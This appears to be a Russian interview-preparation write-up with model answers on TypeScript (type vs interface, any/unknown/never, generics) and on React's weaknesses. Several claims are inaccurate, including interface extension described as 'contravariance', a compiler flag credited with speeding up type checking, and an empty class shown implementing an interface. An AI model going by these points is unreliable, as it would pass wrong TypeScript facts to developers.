С технической точки зрения type — это псевдоним типа (Type Alias), а interface — это именованный тип объекта (Named Object Type). В 95% случаев они взаимозаменяемы для описания форм объектов, но имеют фундаментальные различия в возможностях и поведении компилятора.
1. Ключевое отличие: Declaration Merging (Объединение объявлений)
Только interface поддерживает слияние объявлений с одинаковым именем в одной области видимости. TypeScript объединяет их в один интерфейс.
// Файл 1 (например, types/window.d.ts)
interface Window {
myCustomGlobal: string;
}
// Файл 2 (ваш код)
interface Window {
anotherGlobal: number;
}
// Результат: Window имеет И myCustomGlobal, И anotherGlobal
declare const window: Window;
window.myCustomGlobal; // OK
window.anotherGlobal; // OK
Где это критично:
- Расширение глобальных объектов:
Window,Global,ProcessEnv,Express.Request(добавлениеuser,session). - Модульное расширение библиотек:
@types/expressдобавляет базовыйRequest, ваш проект мержит туда авторизацию. - Плагинная архитектура: Разные пакеты могут расширять общий конфиг/контракт без зависимости друг от друга.
type — НЕ поддерживает слияние:
type A = { a: number };
type A = { b: string }; // Error: Duplicate identifier 'A'.
2. Возможности type, недоступные interface
| Возможность | type | interface | Пример |
|---|---|---|---|
| Примитивы | ✅ | ❌ | type ID = string | number; |
| Union Types | ✅ | ❌ | type Result = Success | Error; |
| Intersection Types | ✅ | ⚠️ (через extends) | type Combined = A & B; |
| Tuple / Array типы | ✅ | ❌ | type Pair = [string, number]; |
| Mapped Types | ✅ | ❌ | type Readonly<T> = { readonly [K in keyof T]: T[K] }; |
| Conditional Types | ✅ | ❌ | type NonNullable<T> = T extends null | undefined ? never : T; |
| Template Literal Types | ✅ | ❌ | type EventName<T> = `on${Capitalize<T>}`; |
| Infer (в условных типах) | ✅ | ❌ | type ReturnType<T> = T extends (...a) => infer R ? R : never; |
| Type Aliases для Utility | ✅ | ❌ | type MyPick<T, K extends keyof T> = ... |
Вывод: Для утилит, трансформаций, юнионов, примитивов, кортежей — только type.
3. Расширение (Extends / Implements) — Нюансы
Оба поддерживают extends, но семантика разная.
interface extends interface (Наследование):
interface Animal { name: string; }
interface Dog extends Animal { bark(): void; }
// Dog = { name: string; bark(): void; }
type extends type (Intersection / Пересечение):
type Animal = { name: string; };
type Dog = Animal & { bark(): void; }; // То же самое структурно
Разница при конфликте свойств:
interface Base { x: number; }
interface Derived extends Base { x: string; } // Error: Property 'x' is not assignable.
// interface требует КОНТРАВАРИАНТНОСТИ (подтип должен быть суже или равен).
type BaseT = { x: number; };
type DerivedT = BaseT & { x: string; }; // OK! Тип x становится `number & string` = `never`.
// type позволяет пересечение, результат может стать `never` (impossible type).
implements (Классы):
Класс может implements и interface, и type (если type — это объектный тип/пересечение объектных типов).
class C implements Dog {} // OK для обоих
Но: interface исторически считается «контрактом для классов», type — «описанием формы данных».
4. Производительность компилятора (Performance) — Senior Detail
Это часто упускают, но на больших проектах (100k+ строк) это критично.
-
interface— быстрее для проверки типов (Type Checking).- Компилятор кэширует результат проверки интерфейса по имени.
- При сравнении
A extends Bпроверяется иерархия имен. - Рекомендуется в
tsconfig.json:"compilerOptions": { "useDefineForClassFields": true }и стиль кода — интерфейсы для публичных API.
-
type— медленнее (структурное сравнение).- Алиас раскрывается (expanded) при каждом использовании.
- Сложные Mapped/Conditional Types пересчитываются многократно.
- Глубокие рекурсивные типы могут упираться в лимит глубины (
type instantiation is excessively deep).
Правило: Публичные API, DTO, Props компонентов, контракты между модулями — interface. Внутренняя логика, утилиты, юнионы, маппинги — type.
5. Рекурсивные типы
interface — нативно поддерживает рекурсию (через отложенное разрешение имени).
interface JsonNode {
value: string | number | JsonNode | JsonNode[];
children?: JsonNode[];
}
type — требует type + interface хак или RecursiveType (TS 4.1+ с type работает, но исторически был баг).
Современный TS (4.7+) позволяет рекурсию в type через type сам в себе, но interface все равно надежнее для глубоких деревьев.
6. readonly и модификаторы в implements
interface I { readonly x: number; }
type T = { readonly x: number; };
class C implements I { x = 1; } // OK
class D implements T { x = 1; } // OK (с TS 4.7+)
Раньше implements type игнорировал readonly, теперь поведение выровнено.
7. Best Practices & Style Guide (Airbnb / Google / TypeScript Team)
-
Публичные API / DTO / Props / State / Contracts →
interface.- Позволяет потребителям расширять (
Declaration Merging). - Лучше читается в
.d.ts(декларациях). - Быстрее для компилятора.
- Семантика: «Это форма объекта / Контракт».
- Позволяет потребителям расширять (
-
Утилиты / Юнионы / Примитивы / Кортежи / Маппинги / Условные типы →
type.- Техническая необходимость.
- Семантика: «Это вычисленный тип / Алиас».
-
Не смешивайте в одном файле без причины.
- Плохо:
interface Props { ... }и рядомtype State = ...для одного компонента, если State — просто объект. Лучшеinterface State { ... }для единообразия. - Хорошо:
interface User { ... }+type UserId = User['id'];(утилита).
- Плохо:
-
Избегайте
type X = InterfaceY & { z: string }для расширения.- Лучше:
interface ExtendedY extends InterfaceY { z: string; }. - Сохраняет
interfaceв иерархии, быстрее проверка, работаетinstanceofпроверки типов (в рантайме нет, но в дизайне — да).
- Лучше:
-
declare global/module augmentation— толькоinterface.declare global {interface Window { __MY_APP__: true; } // Только так}
8. Сводная таблица (Cheat Sheet)
| Характеристика | interface | type |
|---|---|---|
| Объединение (Merging) | ✅ Да (Declaration Merging) | ❌ Нет (Duplicate identifier) |
| Примитивы / Юнионы / Кортежи | ❌ Нет | ✅ Да |
| Mapped / Conditional / Template | ❌ Нет | ✅ Да |
extends (Наследование) | ✅ Да (Implements-like) | ✅ Да (Intersection) |
implements (Классы) | ✅ Да | ✅ Да (если объектный тип) |
| Рекурсия | ✅ Нативно | ✅ (TS 4.7+), но интерфейс надежнее |
| Скорость проверки (TS Server) | ⚡ Быстрее (кэш по имени) | 🐢 Медленнее (раскрытие структуры) |
| Вывод типов (Inference) | Имя сохраняется в ошибках | Раскрывается в структуру (verbose errors) |
| Основной Use Case | Контракты, API, DTO, Props, Global Augmentation | Утилиты, Юнионы, Композиция, Transformations |
9. Резюме для интервью
> «По умолчанию использую interface для описания форм объектов (DTO, Props, API Response, State), потому что это дает Declaration Merging (важно для расширения глобальных типов и библиотек), лучшую производительность компилятора на больших проектах и чище читаемые ошибки.
>
> Использую type когда нужно: Union/Intersection, примитивы, кортежи, Mapped/Conditional Types, утилиты (Pick, Omit, ReturnType), или когда описываю сложную внутреннюю структуру, которая не является публичным контрактом.
>
> Ключевое техническое отличие — Declaration Merging у интерфейсов и возможность описывать не-объектные типы у type.»
Вопрос 18. В чём отличие между any, unknown и never.
Таймкод: 00:27:59
Ответ собеседника: Правильный. any — отключает проверки, можно делать что угодно. unknown — безопаснее, нужно делать type guard (проверку типа) перед использованием. never — тип, который никогда не происходит (функции, выбрасывающие ошибку, бесконечные циклы) или для exhaustive checking в switch/union (пример с меню: листовой элемент без детей — never для children).
Правильный ответ:
Эти три типа представляют вершины и дно иерархии типов TypeScript (Type Hierarchy). Понимание их семантики критично для проектирования безопасных API и работы с Generics.
1. any — «Отключение проверки типов» (Top Type / Escape Hatch)
- Семантика: «Я знаю, что делаю, компилятор не мешай». Полный отказ от статической типизации для данного значения.
- Позиция в иерархии: Supertype (супертип) для всех типов (кроме
never? — см. ниже). Любой тип присваивается вany. - Двунаправленность (Unsoundness):
anyприсваивается в любой тип (кромеneverв strict mode). Это ломает звучность (soundness) системы типов.
let value: any = "hello";
value = 42; // OK
value = { x: 10 }; // OK
// ОПАСНОСТЬ: Разыменование несуществующих свойств
value.foo.bar.baz(); // TS: OK! Runtime: TypeError
// ОПАСНОСТЬ: Неявное распространение
const num: number = value; // OK! num теперь может быть строкой/объектом во время выполнения
Когда легально использовать:
- Миграция JS -> TS: Временная мера, цель — убрать все
anyдо продакшена. - Сторонние библиотеки без типов:
declare const lib: any;(лучше написать.d.tsилиunknown+ type guards). JSON.parseвозвращаетany(в стандартной либе) — нужно сразу кастовать/валидировать:const data = JSON.parse(str) as UnknownSchema;.- Рекурсивные структуры в старых TS (до 4.1), где
typeне рекурсивен.
ESLint правила: @typescript-eslint/no-explicit-any (error), @typescript-eslint/no-unsafe-assignment / member-access / call / return.
2. unknown — «Безопасный any» (Top Type / Safe Any)
- Семантика: «Это какое-то значение, но я не знаю какое. Докажи (narrow), прежде чем использовать».
- Позиция в иерархии: Supertype для всех типов (как
any). Любой тип присваивается вunknown. - Однонаправленность (Soundness):
unknownНЕ присваивается ни в какой другой тип (кромеanyиunknownсамого себя). Требует Type Narrowing (сужения типа).
let value: unknown = "hello";
// value.toFixed(2); // Error: Property 'toFixed' does not exist on type 'unknown'.
// Narrowing (сужение) — ЕДИНСТВЕННЫЙ способ работы:
if (typeof value === "string") {
value.toUpperCase(); // OK: здесь value: string
}
try {
JSON.parse(value); // OK: аргумент string
} catch { }
// Присваивание в конкретный тип — ТОЛЬКО через narrowing или assertion (опасно)
const str: string = value; // Error
const strSafe: string = typeof value === "string" ? value : "default"; // OK
const strAssert = value as string; // OK, но на вашей совести (assertion)
Best Practice: Используйте unknown вместо any для:
- Аргументов
catch(TS 4.4+:catch (e: unknown)). - Результатов
fetch/localStorage/JSON.parseдо валидации. - Props в универсальных компонентах (
Component<unknown>). - Типизации
eventв обработчиках, если не уверены в точном типе.
3. never — «Никогда не бывает» (Bottom Type)
- Семантика: «Значения этого типа не существует». Пустое множество значений (Empty Set).
- Позиция в иерархии: Subtype (подтип) для всех типов.
neverприсваивается в любой тип (string,number,MyInterface). - Обратное неверно: Никакой тип (кроме
never) не присваивается вnever.
Три основных сценария возникновения:
А. Функции, которые НЕ ВОЗВРАЩАЮТ УПРАВЛЕНИЕ (Never return)
function fail(msg: string): never {
throw new Error(msg);
}
function infiniteLoop(): never {
while (true) { /* ... */ }
}
function exhaustiveCheck(x: never): never {
throw new Error(`Unexpected: ${x}`);
}
Возвращаемый тип never говорит: «Эта функция не завершается нормально».
Б. Exhaustive Checking (Проверка полноты перебора) — Главный паттерн Senior
Гарантирует, что все случаи Union-типа обработаны. Если добавите новый вариант в Union — TS заругается в default ветке.
type Shape =
| { kind: "circle"; radius: number }
| { kind: "square"; side: number }
| { kind: "triangle"; a: number; b: number; c: number };
function getArea(shape: Shape): number {
switch (shape.kind) {
case "circle": return Math.PI * shape.radius ** 2;
case "square": return shape.side ** 2;
case "triangle":
const s = (shape.a + shape.b + shape.c) / 2;
return Math.sqrt(s * (s - shape.a) * (s - shape.b) * (s - shape.c));
default:
// Если добавить в Shape новый тип, например "rectangle",
// shape здесь будет типа `never` (так как все известные обработаны),
// и exhaustiveCheck потребует аргумент `never`, который невозможно передать.
// ОШИБКА КОМПИЛЯЦИИ: Argument of type '...' not assignable to 'never'.
return exhaustiveCheck(shape);
}
}
В. Удаление вариантов из Union (Conditional Types / Distributive Omit)
type NoCircle<T> = T extends { kind: "circle" } ? never : T;
type Shapes = Shape | { kind: "rectangle"; w: number; h: number };
type NonCircleShapes = NoCircle<Shapes>;
// Результат: { kind: "square" } | { kind: "triangle" } | { kind: "rectangle" }
// `never` в условном типе работает как "фильтр" (пропускает только остальное).
4. Сравнительная таблица (Cheat Sheet)
| Характеристика | any | unknown | never |
|---|---|---|---|
| Роль | Escape Hatch (Дыра в типизации) | Safe Top Type (Безопасный верх) | Bottom Type (Низ / Пустота) |
| Присваивание В него (X = ...) | Все (string, number, object, never) | Все (string, number, object, never) | Только never |
| Присваивание ИЗ него (... = X) | Во все (кроме never в strict) | Только в any / unknown (без narrowing) | Во все (в string, number, MyType) |
| Доступ к свойствам/методам | ✅ Разрешен (unsafe) | ❌ Запрещен (нужен narrowing) | ❌ Н/А (значений нет) |
| Вызов функции | ✅ Разрешен | ❌ Запрещен | ❌ Н/А |
Ключевое слово keyof | string | number | symbol | never (нет ключей у неизвестного) | never |
| Распространение в Generics | Загрязняет всё (T extends any) | Безопасно (T extends unknown) | Используется для фильтрации/проверки |
5. Взаимодействие в Generics и Утилитах (Advanced)
Record<Keys, any> vs Record<Keys, unknown>
// any - можно читать/писать что угодно, но типы теряются
const r1: Record<string, any> = { a: 1 };
r1.b = "str"; // OK
const n: number = r1.a; // OK (но unsafe)
// unknown - можно только писать, читать — через narrowing
const r2: Record<string, unknown> = { a: 1 };
// r2.b = "str"; // OK
// const n: number = r2.a; // Error! unknown не number
if (typeof r2.a === 'number') { /* OK */ }
Partial<T> / Required<T> с never
// Сделать поле обязательно неудаляемым (required + not undefined)
type RequiredNotNull<T> = {
[K in keyof T]-?: Exclude<T[K], null | undefined>; // Exclude использует never
};
Promise<never> — промис, который никогда не резолвится (только reject или висит вечно). Полезен для типизации await Promise.race([fetch(), timeout()]), где таймаут не имеет значения, а только ошибку.
6. Ловушки и Edge Cases
-
anyв массивах/объектах заражает всё:const arr: any[] = [1, 2, 3];const first = arr[0]; // any!const num: number = first; // OK, но unsafeЛечение:
const arr: unknown[] = ...илиreadonly unknown[]. -
keyof anyvskeyof unknown:type K1 = keyof any; // string | number | symboltype K2 = keyof unknown; // never (у неизвестного типа нет известных ключей) -
neverв интерсекшне (Intersection):type Weird = string & never; // never// Интерсекция с пустым множеством = пустое множество. -
voidvsneverв колбэках:// Колбэк, который ничего не возвращает (но завершается)function onDone(cb: () => void) { cb(); }// Колбэк, который НИКОГДА не вернет управление (throw/loop)function onCriticalError(cb: () => never) { cb(); console.log('unreachable'); }Правило: Если колбэк может быть асинхронным или просто возвращать
undefined— используйте() => void.() => never— только для гарантированного краша.
7. Резюме: Ментальная модель
| Тип | Множество значений | Аналогия в множествах | Назначение |
|---|---|---|---|
any | Все значения + «магия» | Universal Set ∪ Magic | Отключение типизации. Только для миграции/legacy. |
unknown | Все значения | Universal Set | Входные данные извне (I/O). «Докажи, что это строка, прежде чем использовать». |
never | Никаких значений | Empty Set (∅) | Контроль достижимости кода. Exhaustive checks, функции-крашеры, фильтрация типов. |
Правило архитектора:
> Входные данные (API, User Input, Config) → unknown → Валидация (Zod/Guard) → Конкретный Тип.
> Внутренняя логика → Конкретные Типы / Generics.
> any → Запрещен в прод-коде (ESLint error).
> never → Инструмент для доказательства корректности (Exhaustive Checks).
Вопрос 19. Что такое дженерики (generics) в TypeScript и пример использования.
Таймкод: 00:30:26
Ответ собеседника: Правильный. Дженерики — это параметризация типов, когда тип становится переменной. Пример: функция, принимающая массив элементов типа T, где T передаётся при вызове. Позволяет переиспользовать логику для разных типов данных.
Правильный ответ:
Дженерики (Generics / Обобщения) — это механизм параметрического полиморфизма (Parametric Polymorphism). Они позволяют писать код (функции, классы, интерфейсы, типы), который работает с разными типами данных, сохраняя строгую типизацию и инференс (вывод типов) без дублирования кода (any не нужен).
В терминах теории типов: List<T> — это конструктор типов (Kind * -> *), принимающий конкретный тип T и возвращающий новый тип List<number>, List<string> и т.д.
1. Базовый синтаксис и Инференс (Type Inference)
// Функция-identity: принимает T, возвращает T
function identity<T>(arg: T): T {
return arg;
}
// 1. Явное указание типа (Explicit Generic Argument)
const num = identity<number>(42); // T = number
const str = identity<string>("hi"); // T = string
// 2. Инференс (Implicit) — TypeScript сам выведет T из аргумента
const bool = identity(true); // T = boolean (Best Practice)
const arr = identity([1, 2, 3]); // T = number[]
// 3. Множественные параметры
function pair<K, V>(key: K, value: V): [K, V] {
return [key, value];
}
pair("id", 123); // [string, number]
2. Constraints (Ограничения) — extends
Ограничиваем множество допустимых типов T. Доступны только свойства из ограничения.
// T должен иметь свойство .length
function logLength<T extends { length: number }>(arg: T): T {
console.log(arg.length); // OK
// arg.toFixed(); // Error: нет в ограничении
return arg;
}
logLength("string"); // OK (string имеет length)
logLength([1, 2, 3]); // OK (array имеет length)
logLength({ length: 10, value: 3 }); // OK (object с length)
// logLength(42); // Error: number не имеет length
Паттерн: keyof Constraint (Доступ к свойствам объекта по ключу)
function getProp<T, K extends keyof T>(obj: T, key: K): T[K] {
return obj[key];
}
const user = { id: 1, name: "Alice", active: true };
const id = getProp(user, "id"); // T=User, K="id" -> возвращает number
const name = getProp(user, "name"); // K="name" -> возвращает string
// getProp(user, "age"); // Error: "age" не в keyof User
3. Default Generic Parameters (Умолчания)
Упрощают использование, делая тип опциональным для потребителя.
// Классический пример: API Response с дефолтом для ошибки
interface ApiResponse<T, E = Error> {
data: T | null;
error: E | null;
success: boolean;
}
// Использование:
type UserResponse = ApiResponse<User>; // E = Error (по умолчанию)
type CustomErrorResponse = ApiResponse<User, ApiError>; // Переопределили E
// В функциях (TS 2.3+)
function createArray<T = string>(length: number, value: T): T[] {
return Array(length).fill(value);
}
createArray(3, "a"); // string[]
createArray(3, 1); // number[] (T вывелся как number)
// createArray(3); // Error: нужен второй аргумент для вывода T, если нет дефолта для value
4. Generics в Интерфейсах и Типах (Type Aliases)
// Интерфейс (предпочтительно для публичных API — Declaration Merging)
interface Box<T> {
value: T;
getValue: () => T;
}
// Type Alias (нужно для Union, Mapped, Conditional)
type Result<T, E = Error> =
| { success: true; data: T }
| { success: false; error: E };
// Использование
const ok: Result<number> = { success: true, data: 42 };
const fail: Result<string, string> = { success: false, error: "Not found" };
// Рекурсивные типы (JSON-like)
type JsonValue =
| string | number | boolean | null
| JsonValue[]
| { [key: string]: JsonValue };
5. Generics в Классах
class DataStore<T> {
private items: T[] = [];
add(item: T): void { this.items.push(item); }
getAll(): T[] { return [...this.items]; }
find(predicate: (item: T) => boolean): T | undefined {
return this.items.find(predicate);
}
}
const userStore = new DataStore<User>(); // T = User
userStore.add({ id: 1, name: "Bob" });
// userStore.add("string"); // Error
// Static методы НЕ имеют доступа к T класса (у класса нет T в статическом контексте)
class Factory<T> {
// static create(): T {} // Error: 'T' only refers to a type, but is being used as a value here.
static create<U>(value: U): U { return value; } // Нужен свой generic
}
6. Продвинутые паттерны (Senior Level)
А. Conditional Types (Условные типы) + infer
Основа для Utility Types (ReturnType, Parameters, PromiseType, UnwrapRef).
// Распаковка промиса (как встроенный Awaited<T> в TS 4.5+)
type UnwrapPromise<T> = T extends Promise<infer U> ? U : T;
type T1 = UnwrapPromise<Promise<string>>; // string
type T2 = UnwrapPromise<number>; // number (не промис -> как есть)
// Получение типа элемента массива
type ElementType<T> = T extends (infer U)[] ? U : never;
type ArrEl = ElementType<string[]>; // string
Б. Mapped Types (Преобразование ключей/значений)
// Сделать все свойства опциональными и nullable
type PartialNullable<T> = {
[K in keyof T]?: T[K] | null;
};
// Ребрендинг ключей (Template Literal Types TS 4.1+)
type Getters<T> = {
[K in keyof T as `get${Capitalize<string & K>}`]: () => T[K];
};
type UserGetters = Getters<{ id: number; name: string }>;
// { getId: () => number; getName: () => string; }
В. Variance (Ковариантность / Контравариантность) — in / out (TS 4.7+)
По умолчанию TS использует структурную ковариантность (безопасную для чтения, небезопасную для записи). Явные модификаторы позволяют контролировать это для сложных иерархий.
// Producer (Только чтение / Output) -> Ковариантный (out)
// Если Dog extends Animal, то Producer<Dog> можно использовать как Producer<Animal>
interface Producer<out T> {
make(): T;
}
// Consumer (Только запись / Input) -> Контравариантный (in)
// Если Dog extends Animal, то Consumer<Animal> можно использовать как Consumer<Dog>
interface Consumer<in T> {
take(value: T): void;
}
В 99% кода не нужно писать in/out вручную, TS выводит вариативность по использованию свойств (readonly -> out, аргументы функций -> in). Нужно для сложных библиотек (RxJS, Redux Toolkit, Effect).
7. Utility Types на основе Generics (Стандартная библиотека)
Все они — это type с Generics + Mapped/Conditional Types.
| Utility | Описание | Реализация (упрощенно) |
|---|---|---|
Partial<T> | Все свойства опциональны | { [K in keyof T]?: T[K] } |
Required<T> | Все свойства обязательны | { [K in keyof T]-?: T[K] } |
Readonly<T> | Все свойства readonly | { readonly [K in keyof T]: T[K] } |
Pick<T, K> | Выбрать ключи K | { [P in K]: T[P] } |
Omit<T, K> | Исключить ключи K | Pick<T, Exclude<keyof T, K>> |
Record<K, T> | Объект с ключами K и значениями T | { [P in K]: T } |
ReturnType<T> | Тип возвращаемого значения функции | T extends (...args) => infer R ? R : never |
Parameters<T> | Кортеж типов аргументов функции | T extends (...args: infer P) => any ? P : never |
NonNullable<T> | Исключить null/undefined | T extends null | undefined ? never : T |
Awaited<T> (TS 4.5) | Рекурсивная распаковка Promise | T extends Promise<infer U> ? Awaited<U> : T |
8. Best Practices & Anti-patterns
| Практика | Почему |
|---|---|
Именование: T, U, V, K, V | Конвенция: T (Type), K (Key), V (Value), E (Error), R (Return). Для сложных — описательные: TUser, TRequest. |
Избегайте any в дженериках | function foo<T>(x: T): any — теряет тип. Возвращайте T или конкретный тип. |
| Не злоупотребляйте Generics | Если функция не использует T в аргументах/возврате — она не должна быть дженериком. function log<T>(msg: string): void — лишний <T>. |
const Type Parameters (TS 5.0+) | function fn<const T extends string>(x: T) {} — сохраняет литеральный тип ("a" | "b" вместо string). Критично для DX (автодополнение). |
infer в Conditional Types | Единственный способ «достать» тип изнутри другого типа. |
| Курсирование Generics (Currying Types) | type Factory<T> = <U>(arg: U) => T; — полезно для фабрик. |
9. Реальный Production Example: Типизированный fetch Wrapper
// 1. Базовый Generic Response
interface ApiResponse<T> {
data: T;
meta: { requestId: string };
}
// 2. Generic Error (Discriminated Union)
type ApiResult<T, E = ApiError> =
| { success: true; response: ApiResponse<T> }
| { success: false; error: E };
// 3. Generic Request Config
interface RequestConfig<TBody = unknown> {
method: 'GET' | 'POST' | 'PUT' | 'DELETE';
url: string;
body?: TBody;
params?: Record<string, string>;
headers?: Record<string, string>;
}
// 4. Типизированная функция запроса
async function request<TResponse, TBody = unknown, TError = ApiError>(
config: RequestConfig<TBody>
): Promise<ApiResult<TResponse, TError>> {
try {
const response = await fetch(`${config.url}?${new URLSearchParams(config.params)}`, {
method: config.method,
headers: { 'Content-Type': 'application/json', ...config.headers },
body: config.body ? JSON.stringify(config.body) : undefined,
});
if (!response.ok) {
const errData = await response.json().catch(() => ({}));
return { success: false, error: { status: response.status, ...errData } as TError };
}
const data = await response.json();
return { success: true, response: { data, meta: { requestId: response.headers.get('x-request-id') || '' } } };
} catch (e) {
return { success: false, error: { message: 'Network error' } as TError };
}
}
// 5. Использование — Полная типизация входящих/исходящих данных
interface User { id: number; email: string; }
interface CreateUserDto { email: string; password: string; }
// GET
const getUser = (id: number) => request<User>({ method: 'GET', url: `/users/${id}` });
// Результат: Promise<ApiResult<User, ApiError>>
// POST
const createUser = (dto: CreateUserDto) => request<User, CreateUserDto>({ method: 'POST', url: '/users', body: dto });
// Результат: Promise<ApiResult<User, ApiError>>
// В компоненте:
const result = await getUser(1);
if (result.success) {
console.log(result.response.data.email); // Тип User
} else {
console.error(result.error.status); // Тип ApiError
}
10. Резюме
- Generics = Параметры типов. Позволяют писать
DRY(Don't Repeat Yourself) типизацию. - Инференс — сила TS. В 90% случаев не нужно писать
<Type>явно — TS сам поймет. - Constraints (
extends) — защита от невалидных типов и доступ к свойствам. - Defaults (
= Type) — удобство API для потребителей. - Advanced (
infer,keyof, Mapped, Conditional) — основа для построения Type-Safe DSL (Domain Specific Languages) внутри TS: роутеры (tRPC, Hono), ORM (Prisma, Drizzle), State Management (Redux Toolkit, Zustand), Validation (Zod, Valibot). - Вариативность (
in/out) — понимание того, как типы подтипизируются в сложных структурах (функции, массивы, промисы), нужно для архитектуры библиотек.
Вопрос 20. Какие есть минусы у React.
Таймкод: 00:37:58
Ответ собеседника: Правильный. 1. Большой бандл (ядро тянется даже для маленьких приложений). 2. Частые лишние ререндеры (нужна мемоизация). 3. Нет встроенного стейт-менеджера (надо подключать Redux/MobX/Zustand). 4. JSX требует компиляции (проблемы с инструментами вроде Storybook без сборки). 5. Низкий порог входа приводит к плохому коду.
Правильный ответ:
Кандидат верно перечислил основные болевые точки. На уровне Senior/Tech Lead важно понимать природу этих проблем, их актуальность в современных версиях (18/19, RSC, React Compiler) и стратегии митигации.
1. Размер бандла и «Стоимость входа» (Bundle Size & Baseline Cost)
- Факты:
react+react-dom≈ 42-45 KB gzipped (React 18). Для сравнения: Preact ~3 KB, Solid ~7 KB, Svelte (компилируемый) —.runtime минимален. - Нюанс: Это фиксированные издержки. На крупных приложениях (500+ KB JS) это < 5%. На виджетах, микро-фронтендах, лендингах, встраиваемых скриптах — это критично.
- Современное состояние: React 19 не уменьшил ядро. Появление React Server Components (RSC) переносит часть логики на сервер (бандл клиента не включает код серверных компонентов), но базовый рантайм всё равно нужен для интерактивности.
- Митигация:
- Code Splitting (
React.lazy,Suspense) — обязательно. - Для виджетов/встраиваемых приложений — рассмотрение Preact (совместимый API,
preact/compat), Solid или Vanilla JS / Web Components. esbuild/swc/vite— быстрая сборка, tree-shaking работает хорошо.
- Code Splitting (
2. Реактивность на основе рендера (Re-renders & Memoization Hell)
- Природа: React использует Pull-based reactivity (опрос/сравнение) vs Push-based (Signals в Solid, Vue, Svelte, Qwik).
- Изменение стейта → Ре-рендер компонента → Рекурсивный ре-рендер всех детей (если не прервано
memo). - Это O(N) сложность по дереву компонентов на каждое обновление.
- Изменение стейта → Ре-рендер компонента → Рекурсивный ре-рендер всех детей (если не прервано
- Проблема: «Death by a thousand cuts» — сотни мелких ре-рендеров убивают FPS (INP metric).
- Инструменты защиты (Manual):
React.memo(shallow compare props).useMemo/useCallback(стабилизация ссылок).useRef/useImperativeHandle(мутация без ре-рендера).
- Современное решение: React Compiler (React Forget — Experimental/Canary в React 19).
- Автоматическая мемоизация на этапе компиляции (Babel/SWC plugin).
- Анализирует код, вставляет
useMemo/useCallback/memoэквиваленты. - Промисит уйти от ручной мемоизации как от стандартной практики.
- Архитектурный паттерн: Atomic Design / Component Splitting — маленькие листы дерева, которые дешево ре-рендерить, + изоляция тяжелой логики в
useMemo/ Web Workers.
3. Отсутствие встроенного State Management (No Built-in Global State)
- Философия: React — это View Layer (V в MVC). Команда намеренно не включает глобальный стор, чтобы не навязывать паттерны.
- Последствие: «Decision Fatigue» (усталость от выбора). Новички кладут всё в
Context+useState→ проблема производительности (Context ре-рендерит всех потребителей при любом изменении). - Эволюция подходов:
- Legacy: Redux (boilerplate), MobX (магия).
- Modern Client State: Zustand / Jotai / Valtio / Recoil — атомарные, не требуют провайдеров, работают за пределами React-дерева (подписка на изменение, не ре-рендер контекста).
- Server State: TanStack Query (React Query) / SWR / RTK Query — кэширование, дедупликация, инвалидация, оптимистичные обновления. Это де-факто стандарт для серверных данных.
- Forms: React Hook Form / TanStack Form — неконтролируемые, минимизируют ре-рендеры.
- Best Practice: Разделять Server State (TanStack Query) и Client UI State (Zustand/Jotai/Context для тем/модалок). Не пишите свой Redux в 2024+ без причины.
4. JSX и Компиляция (Build Step Dependency)
- Проблема: Браузеры не понимают JSX. Нужен трансформер (Babel, SWC, esbuild, TypeScript). Это добавляет:
- Сложность конфигурации (даже в Vite/Next.js есть скрытая сложность).
- Проблемы с HMR (Hot Module Replacement) на границе типов/рантайма.
- Сложность для Storybook, Playwright, Jest/Vitest (нужны пресеты).
- Невозможность нативно запустить компонент в консоли браузера / CodePen без сборки.
- Альтернативы без билда (для прототипов/виджетов):
htm+ Preact (-tagged template literals).React.createElementвручную (нечитаемо).- Web Components (Native, но другой DX).
- React 19 / Future: Нет планов нативной поддержки JSX в браузерах (TC39 не стандартизирует). Направление — Server Components (компиляция на сервере, отправка JSON/FLIGHT формата клиенту).
5. Низкий порог входа → Плохой код (Footguns & Anti-patterns)
- Примеры антипаттернов, которые «работают», но ломают производительность/архитектуру:
- Props Drilling вместо композиции / Context / State Colocation.
- God Components (1000+ строк, смешанная логика UI + Data + Business).
- Мутация Props/State:
props.user.name = 'New';state.items.push(item). - Side-effects в теле рендера:
useEffectбез deps,fetchв рендере,localStorageв рендере. - Неправильные Key:
indexкак key, случайные ID (Math.random()). - Context для высокочастотных обновлений: Тема, юзер, локаль — ок. Позиция мыши, скролл, WebSocket сообщения — не ок (ре-рендер всего дерева).
- Игнорирование
useEffectcleanup: Утечки памяти, гонки запросов (race conditions). - Early Return Hell: Множественные
if (!data) return nullвместо Guard Clauses / Suspense / Error Boundaries.
6. Дополнительные минусы (Senior Perspective)
| Минус | Описание | Статус / Решение |
|---|---|---|
| Waterfall Requests (Клиентский) | useEffect -> fetch -> setState -> Child useEffect -> fetch. Последовательные загрузки. | RSC (Server Components) решает архитектурно. На клиенте — TanStack Query (параллелизм), Suspense + use (React 19). |
Сложность useEffect | Замыкания, зависимость от стейта, cleanup, double-invoke в Strict Mode. | React Query / SWR убирают 90% useEffect для данных. Для подписок — кастомные хуки (useEventListener, useWebSocket). |
| Отсутствие Signals (Fine-grained reactivity) | Ручная оптимизация vs Автоматическая (Solid, Vue, Svelte, Preact Signals, @preact/signals-react). | React Compiler — ответ на это. @preact/signals-react можно использовать гибридно уже сейчас. |
| Suspense для Data Fetching (Client-only) | Долгое время нестабильно/недокументировано. | React 19 + Frameworks (Next.js, Remix, React Router 7) — стабильно через фреймворк. Чистый React — всё ещё use + Promise throwing (экспериментально). |
| Hydration Mismatch / Errors | SSR/SSG + Client Hydration → ошибки контента, фликеры. | RSC / Streaming SSR / suppressHydrationWarning / useId. |
| Testing Complexity | act(), waitFor, мокирование провайдеров (Router, QueryClient, Theme, Auth). | React Testing Library (стандарт), MSW (мокирование сети), Vitest (скорость). |
7. Резюме: React в 2024/2025 — Trade-offs
| Минус | Актуальность | Митигация (Standard Stack 2024+) |
|---|---|---|
| Bundle Size | Низкая (для App), Высокая (для Widget) | Code Splitting, Preact для виджетов. |
| Re-renders | Высокая (Core Problem) | React Compiler (Forget), Atomic Components, Zustand/Jotai (bypass React state), useMemo/memo (пока нет компилятора). |
| State Management | Решена экосистемой | TanStack Query (Server), Zustand/Jotai (Client UI), React Hook Form (Forms). |
| Build Step | Данность экосистемы | Vite / Next.js / Rsbuild — скрывают сложность. |
| DX / Footguns | Высокая для новичков | ESLint (plugin-react-hooks, react-refresh), TypeScript (Strict), Code Review, Архитектурные гайдлайны. |
